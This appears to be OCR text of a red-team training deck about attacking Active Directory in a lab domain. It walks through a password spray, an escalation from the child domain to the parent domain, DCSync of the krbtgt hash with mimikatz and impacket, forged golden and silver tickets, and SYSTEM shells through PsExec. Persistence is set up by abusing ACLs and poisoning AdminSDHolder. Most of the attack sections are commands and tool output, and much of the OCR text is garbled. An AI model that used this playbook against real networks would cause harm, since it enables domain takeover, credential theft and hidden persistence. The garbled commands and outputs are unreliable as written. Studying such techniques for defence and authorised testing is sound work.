‘‘‘‘‘



ATTACKING DOMAIN TRUSTS - CHILD -> PARENT
TRUSTS

Password resue and spray with crackmapexec and Kerbrute

Creating users list, we are going use one single password against the whole users, we
have a user in the root domain named jessica.Williams, we mat be lucky to get a hit.

File Actions Edit View Help

—(root® kali)-[~]

tri-users.txt




ATTACKING DOMAIN TRUSTS - CHILD -> PARENT
TRUSTS

Running the password spray attack against the whole subnet with the target users file
and password we got a hit on Jessy_adm as expected

proxychains4 -q crackmapexec smb 10.10.1.0/24 -u tri-users.txt -p 'TJ.Password 1V’

tri-users.txt




ATTACKING DOMAIN TRUSTS - CHILD -> PARENT
TRUSTS

Now let’s attempt to initiate RDP connection to the child DC

proxychains4 -q xfreerdp /v:10.10.1.11 /u:Jessy_adm@TRI.BYTESHIELD.local
/p:'T).Password1!' /dynamic-resolution

FreeRDP: 101011

Server Manager » Dashboard

m Dashboard WELCOME TO SERVER MANAGER
B Locol Serve e ——
Ha Al Server = o Server Manager e
WY AD . : A .
Try managing sarvers with Windows Sclrrnn Cearrler
= -
e DNS
e WiNdows Admin Center brings together new and familine feasturas in one brownsernbansed
R Flie and Storage Ser Ao It runs Oon 8 server of a3 PC. and there’s o additionsl 0ost beyond your Windows

Hcenson

Giel more lnto ot aka. el odoeAdmioC enter

[T Dont show this message 305in

| LEARN MORE

ROLES AND SERVER AdROUPS
Role [ eiver groups: 1 | S

i@ AD Ds 1 a2 DNS 1

Cr) mManageability D) mManageability



ATTACKING DOMAIN TRUSTS - CHILD -> PARENT
TRUSTS

DCSync to get krbtgt NTLM hashes

Isadump::desync /All

mimikatz # lsadump::dcsync /All

[DC] "TRI.BYTESHIELD.local' will be the domain

[DC] 'Child-DCO2.TRI.BYTESHIELD.local' will be the DC server
[DC] Exporting domain 'TRI.BYTESHIELD.local’

Object RDN : krbtgt

** SAM ACCOUNT **

SAM Username : krbtgt

User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Object Security ID : S-1-5-21-961384531-1508825278-244064522-502
Object Relative ID : 502

Credentials:
Hash NTLM: d4c73ff9%e62e80ac282ff90@aa7c7el45




ATTACKING DOMAIN TRUSTS - CHILD -> PARENT
TRUSTS

Getting SID of the Child Domain and the SID of Enterprise Admins group of the root
domain

Get-DomainGroup -Identity "Enterprise Admins" | select samaccountname,objectsid

Get-DomainSID -Domain TRI.BYTESHIELD.local

PS C:\Tools> Get-DomainGroup | select samaccountname,objectsid,

samaccountname objectsid

nterprise Admins S-1-5-21-2650123447-3108711000-1796582875-519

PS C:\Tools> Get-DomainSID TRI.BYTESHIELD. local
5-1-5-21-961384531-1508825278-244064522




ATTACKING DOMAIN TRUSTS - CHILD -> PARENT
TRUSTS

Let’s confirm our Access before performing the attack

s \\ROOT-DCO1\C$

C:\Users\Jessy adm\Desktop>dir \\ROOT-DCO1\C$

dir \\ROOT-DCO1\C$
Access 1s denied.

We don’t have access to C$ share of the root domain


file://ROOT-DC01/C$

ATTACKING DOMAIN TRUSTS - CHILD -> PARENT
TRUSTS

We are connected successfully, we will purge golden ticket

kerberos::golden /user:fake /domain:TRI.BYTESHIELD.local /sid:S-1-5-21-
961384531-1508825278-244064522

/krbtgt:d4c7 3ff9e62e80ac282ff90aa7c7e145 /sids:S-1-5-21-2650123447-
3108711000-1796582875-519 /ptt

C:\Usocrs [ = addm 2o '
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ATTACKING DOMAIN TRUSTS - CHILD -> PARENT
TRUSTS

Spawning system shell on the Root DC using PsExec

.\PsExec.exe \\ROOT-DCO1 -i -s cmd

Pﬁ C:\Users\Jessy adm\Desktop> .\PsExec.exe \\ROOT-DC@1

PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com

Microsoft Windows [Version 10.0.17763.1]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>hostname
ROOT-DCA1




ATTACKING DOMAIN TRUSTS - CHILD -> PARENT
TRUSTS

Using Impacket to perform DCSync

proxychains4 -q impacket-secretsdump
TRI.BYTESHIELD.local/Jessy_adm@10.10.1.11 -just-dc-user TRI/krbtgt

Jessy_admg10.10.1.11




ATTACKING DOMAIN TRUSTS - CHILD -> PARENT
TRUSTS

Now let’s use impacket-looupsid to get the SID of the child domain

proxychains4 -q impacket-lookupsid TRI.BYTESHIELD.local /Jessy_adm@10.10.1.11

impacket—lookupsid TRI.

T G
- Copyrignt

1] BYTESHIELD.local/Jessy_admg10.10
'\)Oll‘ll

forcing SIDs at
E‘HJLH ncacn np"f
-21-96138453
“'{Typzt_‘:»t?z }
T\/P'—L“t )

‘1u SID : S-1-

-
T
\
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ATTACKING DOMAIN TRUSTS - CHILD -> PARENT
TRUSTS

Grabbing the Enterprise Admins SID

Get-DomainGroup -Identity "Enterprise Admins" -Properties objectSid

BYTESHIELD\Jess1t
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ATTACKING DOMAIN TRUSTS - CHILD -> PARENT
TRUSTS

Now that we have all the items needed for the attack the next thing is to purge a
golden ticket

We can achieve that with the following command

proxychains4 -q impacket-ticketer -nthash d4c73ff9e62e80ac282ff90aa7c7e145 -
domain TRI.BYTESHIELD.local -domain-sid S-1-5-21-961384531-1508825278-
244064522 -extra-sid S-1-5-21-2650123447-3108711000-1796582875-519

hacker

export KRBSCCNAME=hacker.ccache



ATTACKING DOMAIN TRUSTS - CHILD -> PARENT
TRUSTS

Golden ticket




ATTACKING DOMAIN TRUSTS - CHILD -> PARENT
TRUSTS

Here we go, from DA of the Child domain to EA of the root domain

proxychains4 -q impacket-psexec hacker@ROOT-DCO1.BYTESHIELD.local -k -no-pass
-target-ip 10.10.1.13

ound writable sh

nt \uthority

C:\windows\
ROOT-DCO1]




ACTIVE DIRECTORY PERSISTENCE

Once we have gained access and achieved the primary goals of the engagement,

our next goal is to obtain persistence, ensuring that we do not lose our access to the
compromised machines.

We can use traditional persistence methods in an AD environment, but we can also
gain ADspecific persistence as well. Note that in many real-world penetration tests or

red team engagements, persistence is not a part of the scope due to the risk of
incomplete removal once the assessment is complete
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Golden Ticket

The Golden Ticket attack enables attackers to forge and sign TGTs (Ticket Granting
Tickets) using the krbtgt account's password hash. When these tickets get presented to
an AD server, the information within them will not be checked at all and will be
considered valid due to being signed with krbtgt account's password hash. For
example, it is possible to sign a ticket for a user that does not exist, such as
DoesNotExist, have the ticket also say they are a Domain Administrator, and request
a TGS (Ticket Granting Service) ticket which enables them to access remote machines.
For stealth reasons, it is almost always better to utilize users that exist in the domain.
However, putting fake information in the ticket can be a great way to show the
impact and the lack of monitoring an organization has around these events.
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Golden Ticket Attack with Impacket

This for elements are needed before the attack works
Domain Name
Domain SID

Username to Impersonate

KRBTGT's hash
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Performing DCSync to get the NTLM hashes of krbtgt account of the domain

proxychains4 -q impacket-secretsdump
BYTESHIELD.local /David.Williams@10.10.1.1 3 -just-dc-user BYTESHIELD /krbtgt

local/David.williams@10.10.1.13 BYTESHIELD/krbtgt

domain\uid:rid: lmhash:nthash)

NTDS.DIT s
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Grabbing Domain SID

proxychains4 -q impacket-lookupsid BYTESHIELD.local /Jessica.Williams@10.10.1.13
| grep "Domain SID"

# proxychainsé 1mpacket-lookupsid BYTESHIELD.local/Jessica.Williams@10.10.1.13

Password:

[*] Domain SID 1s: °
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Constructing Golden ticket

proxychains4 -q impacket-ticketer -nthash cc33e56f29f7f028240c924009626a68e -

domain BYTESHIELD.local -domain-sid S-1-5-21-2650123447-3108711000-
1796582875 doesnotexists

export KRBSCCNAME=fakeuser.ccache
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Golden ticket
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Using the Ticket to Spawn System shell on the DC

proxychains4 -q impacket-psexec fakeuser@ROOT-DCO1.BYTESHIELD.local -k -no-
pass -target-ip 10.10.1.13

icket v0.11.0 Copyrits
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Silver Ticket

Every machine account has an NTLM hash; this is the hash of the computer,
represented as the SYSTEM$ account. This is the PSK (Pre-Shared Key) between the
Domain and Workstation which is used to sign TGS (Ticket Granting Service) Kerberos
tickets. This ticket is less powerful than the TGT (Golden Ticket), as it can only access
that single machine. However, when creating a TGT, the attacker needs to approach
the Domain Controller to have it generate a TGS ticket before they can access any
machines. This creates a unique audit record, which doesn't stand out as malicious, but
heuristics can be applied to identify if it is abnormal. When forging a TGS ticket, the
attacker can bypass the Domain Controller and go straight to the target, minimizing
the number of logs left behind.
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Grabbing Domain SID

proxychains4 -q impacket-lookupsid BYTESHIELD.local /Jessica.Williams@10.10.1.13
| grep "Domain SID"

1.13
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DCSync to get the Machine NTLM hashes

proxychains4 -q impacket-secretsdump
BYTESHIELD Iocql/Dawd Wlllldms@1 0. 10 1 13

BYTESHIELD.local/David.williams@10.10.1.13

hash information.
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Creating Silver ticket

proxychains4 -q impacket-ticketer -nthash 0203b4df11a0f99f631a93f4c4cbfddb -
domain-sid S-1-5-21-2650123447-3108711000-1796582875 -domain
BYTESHIELD.local -spn cifs /FILE-SERVER.BYTESHIELD.local Administrator

export KRBSCCNAME=Administrator.ccache
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Silver Ticket to System shell on the target server

proxychains4 -q impacket-psexec Administrator@FILE-SERVER.BYTESHIELD.local -k -
no-pass -target-ip 10.10.1.16

c AdministratorgFILE-SERVER.BYTESHIELD.local
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AdminSDHolder and ACL Attack
What is an AdminSDHolder?

Active Directory Domain Services (AD DS) use the AdminSDHolder object and the
Security Descriptor propagator (SDProp) process to secure privileged users and
groups. The AdminSDHolder object has a unique Access Control List (ACL), which
controls the permissions of security principals that are members of built-in privileged
Active Directory groups. The SDProp is a process that runs every 60 minutes on the
Primary Domain Controller emulator to ensure the AdminSDHolder Access Control List
(ACL) is consistent on all privileged users and groups.
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The Purpose of AdminSDHolder

The purpose of the AdminSDHolder object is to provide "template” permissions for the
protected accounts and groups in the domain. AdminSDHolder is automatically created as an
object in the System container of every Active Directory domain. Its path is:
CN=AdminSDHolder,CN=System,DC=<domain_component>,DC=<domain_component>2.

Unlike most objects in the Active Directory domain, which are owned by the Administrators
group, AdminSDHolder is owned by the Domain Admins group. By default, EAs can make
changes to any domain's AdminSDHolder object, as can the domain's Domain Admins and
Administrators groups. Additionally, although the default owner of AdminSDHolder is the
domain's Domain Admins group, members of Administrators or Enterprise Admins can take
ownership of the object
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Active Directory protected Groups
Account Operators
Administrators

Backup Operators

Domain Admins

Domain Controllers

Enterprise Admins

Krbtgt

Print Operators

Read-only Domain Controllers
Replicator

Schema Admins

Server Operators
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Let’ Demonstrate how it works, Let’s Asume we give domain user Samantha.Rawland
full control Domain admins group, that permission will be over written by
AdminSDHolder in 60 second by default with itsown ACL, AdminSDHolder sarves as a

reserve ACL template for all the protected groups across the domain in case if one
has been tempered with
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- Artnbute Edto
Ve
“ert Publishes (BYTESHIELD W Ceart Put -re) -~
e Ad BYTESHIELD\E e Ak
ratore (BY TESHIELDNADmiInistratorn)

vm 2000 Compatible Access (BY TESHIELDA\Pre-VWirn
a (Samantha Rawland BYTESHIELD lucal)
s Authonzation Acosaes Group (BY TESHIELDSWIindows

Adc Remove
Parmiastons for Samar nha Mlaw Darry
Full cortrol =1 (. e
Moad I~ [
Wite =] ]
Create all ahild objects =1 ]
Delote all child objects =] - -~
For special pemizsions or advanced settings, chck TR
Advanced =

| OK I Cancel Apply t b
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By default in every 60 minutes AdminSDHolder checks the

ACl sl st

need to propagate the

Protectaelorearuan

sactdla Sda

O
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We can demonstrate the Behavior of AdminSDHolder using a powershell script
Invoke-SDPropagator.ps|

Import-Module .\Invoke-SDPropagator.ps|1

Invoke-SDPropagator -showProgress -timeoutMinutes 1

(:\TooLs» Toport-Hodule . \Invoke-S0Propagator. st

(:\TooLs» Invoke-S0Prapagstor
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Abusing the AdminSDHolder is a kind of watch the watcher situation, because we will
inject the backdoor into AdminSDHolder ACL Templete so that it will be propagated

ACross -

File Action Wiew Help AdminSDHeolder Properties [3 =
== =E & a|XE

General Object Securty Aptribute Editor

] Active Directory Users and Ci »~ i -~
Sawed Queries Group or user names:
- 4 SR Everyone £ e O
~ g BYTESHIELD.local P :
Builtin p 88 SELF e
- c N 4 SR Autherticated Users rized...
— D“"”p_“ ‘Z"‘ croll 4 S8 SYSTEM Ll to..
=1 Demamn Lontrallers I b § Samantha (Samantha.Rawland @BY TESHIELD local) up ...
il DromainWWorkStations K SR Domain Admins (BY TESHIELDYDomain Admins)
| FereignSecurityPrinci " Ve ace.
| Keys & Add... Remowve (7= .
=i 4 by |
4 Ll
- rl:;_vstAn dgosunc! A i Permissions for Samantha Allow Diemy up
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Here is the result after propagation

Demain Admins Properties ? >
General Members Member CF Managed By
Object Security Attribute Editor
Group or user names:
3 82 Everyone -~
i 8] SELF
i 88 Authenticated Users
S8 SYSTEM
i g Samantha (Samantha Rawland@BYTESHIELD local)
Fi S Domain Adming (BYTESHIELD Domain Admins) -
i Add... Remove
i
i Pemissions for Samantha Allow Deny
i Full control ] ~
i Read ]
f Wiite ]
: Create all child objects 1
: Delete all child objects 1 o
i For special permissions or advanced settings. click Riranced

i Advanced.

f Cancel Apply Help
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AdminSDHolder Abuse

AdminSDHolder modification is a persistence technique in which an attacker abuses
the SDProp process in Active Directory to establish a persistent backdoor to Active
Directory. Each hour (by default), SDProp compares the permissions on protected
objects (e.g., Users with Domain Admin Privileges) in Active Directory with those
defined on a special container called AdminSDHolder. If they differ, it replaces the
permissions on the protected object with those defined on AdminSDHolder. Therefore,
an adversary who modifies the AdminSDHolder container can establish a path of

shadow administration and a means to regain administrative access to Active
Directory.
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Some of the Active Directory object permissions and types that attackers are
interested in:

GenericAll
GenericWrite
WriteOwner
WriteDACL
AllExtendedRights

ForceChangePassword

Self (Self-Membership)
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ACL Enumeration and Attack

We are logged on as jessica.Williams now let’s find out if our user has some kind of
control over any object

Get-DomainObjectAcl -ResolveGUIDs -Where "Securityldentifier contains
Jessica.Williams"

BYTESHI

Get-DomainObjectAcl -ResolveGUIDs -Where "SecurityIdentif

ier contains Jessica.Williams"
2023-12-15 15:45:18] [Get-DomainObjectAcl] Recursing all domain objects. This might take a while
>jectDN : CN=Samz , CN=L C=BYTESHIELD,DC=1local

|
|
b 3
(




ACTIVE DIRECTORY PERSISTENCE

We discovered that our user has Reset Password permission over Samantha.Rawland

that means we can change the user’s password without knowing the previous
password

Get-DomainUser -ldentity Samantha.Rawland
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Samantha.Rawland is a Member of a custom group named IT Admins now let’s
enumerate the IT Admins Group

Ge’r DomainGroup -Iden’rl’ry IT Admlns

iLELD, D¢
y DI BYTESHIELD, Dt
, D BYTESHIELD,D

countilivpi
vpe

ategory

Seeing AdmlnCoun’r = 1 we know that ’rhe group has qdmln rlgh’r
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We can take over the user by changing her Password

Set-DomainUserPassword -ldentity Samantha.Rawland -AccountPassword
'SR.Password 123"’

> A+ NamaitnllearD cuinvA TAAan+t 1 +1 Cam +ha Dawl and A~ “tDac 'er Dacewnrl1921
Set-DomalnuserPassword -ldentity Samantha.Rawtand -AccountPassword SR.Passwordllsi!

2-15 16:08:48] [Set-DomainUserPassword] Principal CN=Samantha,CN=Users,DC=BYTESHIELD,DC=local found in domain

1
-12-15 16:08:48] [Set-DomainUserPassword] Password has been successfully changed for user Samantha.Rawland
12-15 16:08:48] Password changed for Samantha.Rawland

We have Successfully change the user’s Password without providing the old password
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GenericWrite over Domain group allows the principal to add self to the group, let’s
deminstarate this against a group named stdby admins

Get-DomainGroup -Identity 'StdBy Admin’

YTESHIELD

[dentity

W HIELD, D¢

We can see the group has no member now
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Our User has WriteProperties right over this group let’s add ourselves to the group

Get-DomainObjectAcl -ldentity 'StdBy Admin' -ResolveGUIDs -Where
"Securityldentifier contains Jessica.Williams"
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Adding a Member to group and verifying
Add-DomainGroupMember -ldentity 'StdBy Admin' -Members Jessica.Williams

—_— = = —— L= — —

Add-DomainGroupMember -Identity 'StdBy Admin' -Members Jessica.Williams

[2023-12-15 16:27:00] User Jessica.williams successfully added to StdBy Admin

Get-DomainGroupMember -lIdentity 'StdBy Admin'

Get-DomainGroupMember -Identity 'StdBy Admin

[2023-12-15 16:29:01] LDAP Signing NOT Enforced!

GroupDomainName : Stdby admin
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P.brown is a member of Account Operators group

Get-DomainUser -lIdentity p.brown

mainu

ountControl : NORMA OUN | 66048
DONT EXP - PASSWORD

ount

word’

varouplb
Sid
ountNnN
ount

LT
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The only member of Stdby Admins group is jessica.Williams

Get-DomainGroup -Identity "stdby Admins"

Get-DomainGroup -I

member : CN=Jessica Williams,CN=Users,DC=BYTESHIELD,DC=1ocal
distinguishedName : CN=Stdby admin,CN=Users,DC=BYTESHIELD,DC=1ocal
. Stanc FT -\’/ p e "

groupType :
obje oor) : CN=Group, CN “hema,CN=Configuration,DC=BYTESHIELD,DC=1local
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You can see stdby admins group is a member of Domain Admins group

Get-DomainGroup -Identity "Domain Admins"

A’x"ll»lll"]

ywvid
admini

shecdName - N=Domain

1N Admaii
rtGU1D - {1 46626 T8d2
Si1d
LNnCount
ountiName

ountivp:e

t

Bl InTv
roupily

object( cegory - T > ontaig o L( ) IVTESHIELD,;
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Adding Lisa.Jones to Stdby Admins group leveraging membership of Account
Operators Group

Add-DomainGroupMember -ldentity "stdby Admins" -Members lisa.jones

LDAP 10.10.1.13 BYTESHIELD\P.Brown

A | . N i = e i '\.I.‘__l‘; il > o3 :*',.,\, " T“' \7 (\.,‘—; - n ’.“‘”\x e ’.\ o ./- e
Add-DomainGro upmemper - Ident1ity stdby Admins -Members lisa. Jjones

[2023-12-15 16:47:20] User lisa.jones successfully added to stdby Admins
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We now have lisa.jones as a member of Stdby admins which is turn is a member of
Domain Admins Group

Get-DomainGroup -Identity "stdby Admins"

DC=BYTESHIELD
SHIELD,DC=10¢
ingulshedN:
Type

CtGUID

1d
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Trying to perform Dcsync using p.brown as a member of Account Operators failed

proxychains4 -q impacket-secretsdump BYTESHIELD.local /p.brown@10.10.1.13 -just-
dc-user BYTESHIELD /krbtgt

local/p.browngl0.10.1.13 BYTESHIELD/krbtgt

s (domain\uid:rid:1lmhash:nthash)

sat Wad
mectnoda

code: distinguished name specified for this replicati

VSS parameter
aning up ...
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When we attempt to DCSync the Domain using lisa.jones we just added to Domain
Admins Nested group we Succeeded

proxychains4 -q impacket-secretsdump BYTESHIELD.local /Lisa.jones@10.10.1.13 -
|us’r -dc-user BYTESHIELD/krb’rg’r

packet-secretsdump BYTESHIELD.local/Lisa.jones10.10.1.13 r BYTESHIELD/krbtgt

CLTDLEL

Impacket v - Copyright 2023 Fortra
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AdminSDHolder, as we learned earlier that we can’t temper with ACL of Domain
Protected group or it’s Member, even we do after 60 minutes the changes we made
will be over written by AdminSDHolder, we can actually have Domain Admin rights
without being a member of domain admins group, AdmiSDHolder poisoning can give
us domain persistence, doing that attack require domain admin right, Creating and

adding a user to Domain admins group can easily be figured out by domain admin
but poisoning AdminSDHolder has less change of detection.
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We can check all the ACL for Domain Admins so that compare before and after the
attack

Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs
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Checking if p.brown has any right over the domain admins groups we could not find
any, let’ perform the AdminSDHolder poisoning and check again

Get-DomainObjectAcl -lIdentity "Domain Admins" -ResolveGUIDs -Where
"Securityldentifier contains p.brown"

1 Py ey hovse "CoariivituTAdoantifanr FrAant - n hrawn"
-ResolveGUIDs -Where "Securityldentitier contains p.brown
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We can also set reset password right

Add-ObijectAcl -Targetldentity AdminSDHolder -Principalldentity p.brown -Rights
resetpassword

—
|
(-

bjectAcl -TargetIdentity AdminSDHolder -Principalldentity p.brown -Rights resetpassword
18:11:35] Found principal 1dentity dn CN=Peter Brown,CN=Users,DC=BYTESHIELD,DC=1ocal
18:11: Found target 1dentity dn CN=AdminSDHolder,CN=System,DC=BYTESHIELD,DC=1local
18:11: Adding resetpassword privilege to AdminSDHolder

18:11:35] Success! User P.Brown now has Reset Password privileges on AdminSDHolder

I =
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[20
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[20
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I
e b P

Now we will wait for 60 minutes for AdminSDholder propagate the changes across all
the protected groups
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After 60 minutes the changes propagated across the all protected groups

Get-DomainObjectAcl -lIdentity "Domain Admins" -ResolveGUIDs -Where
"Securityldentifier contains p.brown*

eteChild, ReadProperty

246d-11d0-a768-00aadd6e0@529)

47-3108711000-1796582875-1105)

P.brown can reset the password of every member of Domain Admins
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We can set different right like write permission and all

Add-ObjectAcl -Targetldentity AdminSDHolder -Principalldentity Samantha.Rawland

10.10.1.13 BYTESHIELD\David.WilLL1iams
Add-ObjectAcl -T

mwmetad T rdamd s s Adons n inl Aawn Dyvinsctna TAant 1+ Camantha Y21l anA Y= ¢ b - Al
dl ‘c’lﬁfl 1dentilt \y” Admin f)[)hU Laer _IJL lf!‘\,l!,)f‘ﬂ_ 1aen C lt _‘,/ .)(“;":‘:"-.HT fa. :('\d\u'.v k anyg: = F'\l(._i“Tf) ,"-\ I ‘

2023-12-15 18:31: Found principal identity dn CN:Samantha,CN:Users,DC:BYTESHIELD,DC:iocal

2023-12-15 18:31: Found target identity dn CN=AdminSDHolder,CN=System,DC=BYTESHIELD,DC=1ocal
2023-12-15 18:31: Adding all privilege to AdminSDHolder

2023-12-15 18:31: Success! User Samantha.Rawland now has GenericAll privileges on AdminSDHolder

Samantha.Rawland now has FullControl over the Protected Groups
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You can see all rights was given to Samantha.Rawland

Get-DomainObjectAcl -lIdentity "Domain Admins" -ResolveGUIDs -Where
"Securityldentifier contains Samantha.Rawland"
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We can also give a user DCSync Rights

Add-ObijectAcl -Targetldentity AdminSDHolder -Principalldentity Justin.Smith -Rights
DCSync

LDAP)-(10.10.
Add-0ObjectAcl

023-12-15 18:38:

-TargetIdentity AdminSDHolder -Principalldentity Justin.Smith -Rights DCSync

5] Found principal identity dn CN=Justin Smith,CN=Users,DC=BYTESHIELD,DC=1ocal

5] Found target identity dn CN=AdminSDHolder,CN=System,DC=BYTESHIELD,DC=local

5] Adding dcsync privilege to AdminSDHolder

5] Success! User Justin.Smith now has Replication-Get-Changes-All privileges on the domain

[2 3
[2023-12-15 18:38:3
[2023-12-15 18:38:3
[2023-12-15 18:38:3

Justin.smith now has DCSync right
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Justin.Smith can now perform DCSync

Get-DomainObjectAcl -lIdentity "Domain Admins" -ResolveGUIDs -Where
"Securityldentifier contains Justin.Smith"

Get-DomainObiectAcl [dentity Domain Admin

ObjectDN N=Domain Admin CN

Object

TYPI PRESENT
,4'1-|:\ Lcating bbirectory ¢ hanges: | } aa / 11d1 /9 DOCO4L T«
None
Justin.
H\i:l'll(-,‘
50172
ALLOWED
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WritePrope1l
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